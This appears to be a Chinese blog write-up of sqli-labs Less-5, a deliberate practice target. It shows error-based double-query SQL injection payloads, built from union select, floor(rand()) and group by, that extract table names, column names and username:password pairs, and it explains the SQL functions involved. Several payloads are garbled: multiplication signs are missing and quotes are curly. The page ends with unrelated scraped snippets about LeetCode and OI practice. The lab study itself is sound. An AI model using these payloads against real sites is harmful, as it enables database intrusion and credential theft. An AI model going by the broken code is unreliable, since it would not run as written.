/*
作者剛剛接觸sql注入,本文僅用作記錄刷sqli-labs靶場時的思路,僅代表個人的看法,如有不當之處,歡迎各位大佬及時批評指正!
*/首先,根據提示輸入id引數,並且嘗試尋找注入點
構建url:…/less-5/?id=1
顯示正常
構建url:…/less-5/?id=1』
頁面報錯,根據以往經驗,原來的查詢語句中,本處應該有乙個單引號的包裹。初步可以猜測**原有的查詢語句為:select * from table where id =『input』 limit 0,1,其中input就是我們輸入的內容。
然後,在構建雙查詢語句之前我們可以先初步判斷一下原始查詢語句返回的列數
構建url:…/less-5/?id=1』 union select 1,2 --+
頁面報錯,提示union聯合查詢列數不同,通過嘗試我們可以發現原有查詢返回了三列。
緊接著我們開始構建雙查詢語句。
第一步,構建初始的雙查詢語句並且查詢當前資料庫
構建url:…/less-5/?id=1』 union select concat((select database()),floor(rand(14)2)) a,count(),database() from information_schema.columns group by a --%20
第二步,查詢security庫中有哪些表
構建url:…/less-5/?id=1』 union select concat(floor(rand(14)2),(select table_name from information_schema.tables where table_schema=『security』 limit 0,1)) a,count(),database() from information_schema.columns group by a --%20
在頁面的報錯資訊中顯示了security資料庫中第一張表的名稱,我們可以通過修改limit命令的起始行來獲取資料庫中的全部表:emails, referers, uagents, users。
第三步,用同樣的方法查詢users表中有哪些列
構建url:…/less-5/?id=1』 union select concat(floor(rand(14)2),(select column_name from information_schema.columns where table_schema=『security』 and table_name=『users』 limit 0,1)) a,count(),database()from information_schema.columns group by a%20 --%20
在頁面的報錯資訊中我們獲取到了不同列的名稱:id, username, password。
最後一步,用同樣的方法獲取對應的帳號和密碼
構建url:…/less-5/?id=1』 union select concat(floor(rand(14)2),(select concat(username,』:』,password) from security.users where id=2)) a,count(),database()from information_schema.columns group by a%20 --%20
這樣我們就可以獲取到全部的帳號密碼,比如:使用者名為angelina的賬戶密碼為i-kill-you。
(1)concat()
concat()函式是字串拼接函式,主要用於不同字串的拼接,如圖所示。
floor()函式可以理解為取整函式,輸出結果為小於等於輸入值的最大整數,如圖所示。
rand()函式是隨機數生成函式,主要用於生成0和1之間的任意隨機數,數學表述為[0,1)。此處需要注意的是如果給rand()函式指定了固定的種子,那麼生成的隨機數序列就是固定的了。比如本文中使用的種子就是14。如圖所示
count()函式是統計函式,可以用於統計行數,如圖所示,在information_schema.tables這個表中有301條記錄
(5)group by + 列名
group函式是分組函式,是根據指定的列名進行分組,同一組只取資料庫的第一條記錄。如圖所示,將information_schema.tables表中的資料按照表屬資料庫的名稱進行分組,查詢結果反饋了每個資料庫的第一張表。
leetcode刷題記錄第五題
題目 給定乙個字串 s,找到 s 中最長的回文子串。你可以假設 s 的最大長度為 1000。示例 1 輸入 babad 輸出 bab 注意 aba 也是乙個有效答案。示例 2 輸入 cbbd 輸出 bb 什麼叫回文串?如果乙個字串正著讀和反著讀是一樣的,那它就是回文串。此題有暴力破解法,即遍歷所有子...
OI刷題記錄
2014 4 18 poj3264 bzoj1699 balanced lineup rmq 2014 4 19 bzoj1012 jsoi2008 最大數maxnumber noi2004 鬱悶的出納員 bzoj3224 tyvj 1728 普通平衡樹 2014 4 20 bzoj1862 105...
面試刷題記錄
寫一段 判斷乙個包括 的表示式是否合法 注意看樣例的合法規則。給定乙個表示式a,請返回乙個bool值,代表它是否合法。測試樣例 a b 5 4 返回 true 測試樣例 a b 5 4 返回 false include vector include iostream using namespace ...